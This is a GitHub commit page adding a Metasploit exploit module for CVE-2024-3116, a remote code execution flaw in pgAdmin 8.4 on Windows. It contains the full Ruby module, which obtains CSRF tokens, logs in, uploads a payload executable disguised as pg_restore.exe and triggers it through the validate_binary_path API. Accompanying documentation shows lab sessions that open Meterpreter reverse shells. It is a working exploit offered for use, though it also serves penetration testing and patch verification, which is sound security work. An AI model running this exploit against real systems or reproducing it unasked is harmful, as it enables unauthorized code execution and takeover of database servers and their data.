Skip to content

Commit fabb5d1

Browse files
authored
Land rapid7#19422, pgAdmin 8.4 RCE / CVE-2024-3116
2 parents ab4bc03 + aaf95f9 commit fabb5d1

File tree

2 files changed

+337
-0
lines changed

2 files changed

+337
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
## Vulnerable Application
2+
The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API.
3+
This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant
4+
threat to the integrity of the database management system and the security of its underlying data.
5+
6+
The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available,
7+
Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via
8+
the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required
9+
by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint.
10+
11+
## Verification Steps
12+
13+
1. Install the application
14+
1. Start msfconsole
15+
1. Do: `use exploit/multi/http/pgadmin_binary_path_api`
16+
1. Set the `RHOST`, `PAYLOAD`, and optionally the `USERNAME` and `PASSWORD` options
17+
1. Do: `run`
18+
19+
20+
### Installation (Windows)
21+
22+
These steps are the bare minimum to get the application to run for testing and should not be use for a production setup.
23+
For a production setup, a server like Apache should be setup to run pgAdmin through it's WSGI interface.
24+
25+
**The following paths are all relative to the default installation path `C:\Program Files\pgAdmin 4\web`**.
26+
27+
1. [Download][1] and install the Windows build
28+
1. Copy the `config_distro.py` file to `config_local.py`
29+
1. Edit `config_local.py` and set `SERVER_MODE` to `True`
30+
1. Edit `config_local.py` and add `DEFAULT_SERVER = '0.0.0.0'` to bind on all IPs, required for remotely exploiting from a different machine
31+
1. Initialize the database: `..\python\python.exe setup.py setup-db`
32+
1. Create an initial user account: `..\python\python.exe setup.py add-user --admin [email protected] 123456`
33+
1. Run the application: `..\python\python.exe pgAdmin4.py`
34+
35+
## Scenarios
36+
Specific demo of using the module that might be useful in a real world scenario.
37+
38+
### pgAdmin 8.4 on Windows (Authenticated)
39+
40+
```
41+
msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.5
42+
RHOSTS => 192.168.1.5
43+
msf6 exploit(windows/http/pgadmin_binary_path_api) > set USERNAME [email protected]
44+
USERNAME => [email protected]
45+
msf6 exploit(windows/http/pgadmin_binary_path_api) > set PASSWORD 123456
46+
PASSWORD => 123456
47+
msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6
48+
LHOST => 192.168.1.6
49+
msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit
50+
51+
[*] Started reverse TCP handler on 192.168.1.6:4444
52+
[*] Running automatic check ("set AutoCheck false" to disable)
53+
[+] The target is vulnerable. pgAdmin version 8.4.0 is affected
54+
[*] Successfully authenticated to pgAdmin
55+
[*] Payload uploaded to: C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe
56+
[*] Sending stage (201798 bytes) to 192.168.1.5
57+
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:52588) at 2024-08-26 19:48:10 +0200
58+
[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe' on the target
59+
60+
meterpreter > sysinfo
61+
Computer : DESKTOP-FMNV75N
62+
OS : Windows 10 (10.0 Build 19045).
63+
Architecture : x64
64+
System Language : en_US
65+
Domain : WORKGROUP
66+
Logged On Users : 2
67+
Meterpreter : x64/windows
68+
meterpreter >
69+
70+
```
71+
72+
### pgAdmin 8.4 on Windows (Unauthenticated)
73+
74+
```
75+
msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.7
76+
RHOSTS => 192.168.1.7
77+
msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6
78+
LHOST => 192.168.1.6
79+
msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit
80+
81+
[*] Started reverse TCP handler on 192.168.1.6:4444
82+
[*] Running automatic check ("set AutoCheck false" to disable)
83+
[+] The target is vulnerable. pgAdmin version 8.4.0 is affected
84+
[*] Payload uploaded to: C:\Users\pgAdmin\pg_restore.exe
85+
[*] Sending stage (200774 bytes) to 192.168.1.7
86+
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.7:55560) at 2024-08-26 19:51:01 +0200
87+
[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\pg_restore.exe' on the target
88+
89+
meterpreter > sysinfo
90+
Computer : DESKTOP-HTGS43E
91+
OS : Windows 10 (10.0 Build 22000).
92+
Architecture : x64
93+
System Language : en_GB
94+
Domain : WORKGROUP
95+
Logged On Users : 1
96+
Meterpreter : x64/windows
97+
meterpreter >
98+
99+
```
Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'pgAdmin Binary Path API RCE',
19+
'Description' => %q{
20+
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
21+
vulnerability through the validate binary path API. This vulnerability
22+
allows attackers to execute arbitrary code on the server hosting PGAdmin,
23+
posing a severe risk to the database management system's integrity and the security of the underlying data.
24+
25+
Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' => [
29+
'M.Selim Karahan', # metasploit module
30+
'Mustafa Mutlu', # lab prep. and QA
31+
'Ayoub Mokhtar' # vulnerability discovery and write up
32+
],
33+
'References' => [
34+
[ 'CVE', '2024-3116'],
35+
[ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
36+
[ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
37+
],
38+
'Platform' => ['windows'],
39+
'Arch' => ARCH_X64,
40+
'Targets' => [
41+
[ 'Automatic Target', {}]
42+
],
43+
'DisclosureDate' => '2024-03-28',
44+
'DefaultTarget' => 0,
45+
'Notes' => {
46+
'Stability' => [ CRASH_SAFE, ],
47+
'Reliability' => [ REPEATABLE_SESSION, ],
48+
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
49+
}
50+
)
51+
)
52+
register_options(
53+
[
54+
Opt::RPORT(8000),
55+
OptString.new('USERNAME', [ false, 'User to login with', '']),
56+
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
57+
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])
58+
]
59+
)
60+
end
61+
62+
def check
63+
version = get_version
64+
return CheckCode::Unknown('Unable to determine the target version') unless version
65+
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5')
66+
67+
CheckCode::Vulnerable("pgAdmin version #{version} is affected")
68+
end
69+
70+
def set_csrf_token_from_login_page(res)
71+
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
72+
@csrf_token = Regexp.last_match(1)
73+
# at some point between v7.0 and 7.7 the token format changed
74+
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)
75+
@csrf_token = element['value']
76+
end
77+
end
78+
79+
def set_csrf_token_from_config(res)
80+
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/
81+
@csrf_token = Regexp.last_match(1)
82+
# at some point between v7.0 and 7.7 the token format changed
83+
else
84+
@csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first
85+
end
86+
end
87+
88+
def auth_required?
89+
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)
90+
if res&.code == 302 && res.headers['Location']['login']
91+
true
92+
elsif res&.code == 302 && res.headers['Location']['browser']
93+
false
94+
end
95+
end
96+
97+
def on_windows?
98+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
99+
if res&.code == 200
100+
platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first
101+
return platform == 'win32'
102+
end
103+
end
104+
105+
def get_version
106+
if auth_required?
107+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
108+
else
109+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true)
110+
end
111+
html_document = res&.get_html_document
112+
return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4'
113+
114+
# there's multiple links in the HTML that expose the version number in the [X]XYYZZ,
115+
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27
116+
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }
117+
return unless versioned_link
118+
119+
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")
120+
end
121+
122+
def csrf_token
123+
return @csrf_token if @csrf_token
124+
125+
if auth_required?
126+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)
127+
set_csrf_token_from_login_page(res)
128+
else
129+
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
130+
set_csrf_token_from_config(res)
131+
end
132+
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token
133+
@csrf_token
134+
end
135+
136+
def exploit
137+
if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)
138+
fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')
139+
end
140+
141+
if auth_required?
142+
res = send_request_cgi({
143+
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
144+
'method' => 'POST',
145+
'keep_cookies' => true,
146+
'vars_post' => {
147+
'csrf_token' => csrf_token,
148+
'email' => datastore['USERNAME'],
149+
'password' => datastore['PASSWORD'],
150+
'language' => 'en',
151+
'internal_button' => 'Login'
152+
}
153+
})
154+
155+
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
156+
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
157+
end
158+
159+
print_status('Successfully authenticated to pgAdmin')
160+
end
161+
162+
unless on_windows?
163+
fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')
164+
end
165+
file_name = 'pg_restore.exe'
166+
file_manager_upload_and_trigger(file_name, generate_payload_exe)
167+
rescue ::Rex::ConnectionError
168+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
169+
end
170+
171+
# file manager code is copied from pgadmin_session_deserialization module
172+
173+
def file_manager_init
174+
res = send_request_cgi({
175+
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
176+
'method' => 'POST',
177+
'keep_cookies' => true,
178+
'ctype' => 'application/json',
179+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
180+
'data' => {
181+
'dialog_type' => 'storage_dialog',
182+
'supported_types' => ['sql', 'csv', 'json', '*'],
183+
'dialog_title' => 'Storage Manager'
184+
}.to_json
185+
})
186+
187+
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))
188+
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')
189+
end
190+
191+
return trans_id, home_folder
192+
end
193+
194+
def file_manager_upload_and_trigger(file_path, file_contents)
195+
trans_id, home_folder = file_manager_init
196+
197+
form = Rex::MIME::Message.new
198+
form.add_part(
199+
file_contents,
200+
'application/octet-stream',
201+
'binary',
202+
"form-data; name=\"newfile\"; filename=\"#{file_path}\""
203+
)
204+
form.add_part('add', nil, nil, 'form-data; name="mode"')
205+
form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')
206+
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')
207+
208+
res = send_request_cgi({
209+
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
210+
'method' => 'POST',
211+
'keep_cookies' => true,
212+
'ctype' => "multipart/form-data; boundary=#{form.bound}",
213+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
214+
'data' => form.to_s
215+
})
216+
unless res&.code == 200 && res.get_json_document['success'] == 1
217+
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
218+
end
219+
220+
upload_path = res.get_json_document.dig('data', 'result', 'Name')
221+
register_file_for_cleanup(upload_path)
222+
print_status("Payload uploaded to: #{upload_path}")
223+
224+
send_request_cgi({
225+
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
226+
'method' => 'POST',
227+
'keep_cookies' => true,
228+
'ctype' => 'application/json',
229+
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
230+
'data' => {
231+
'utility_path' => upload_path[0..upload_path.size - 16]
232+
}.to_json
233+
})
234+
235+
true
236+
end
237+
238+
end

0 commit comments

Comments
 (0)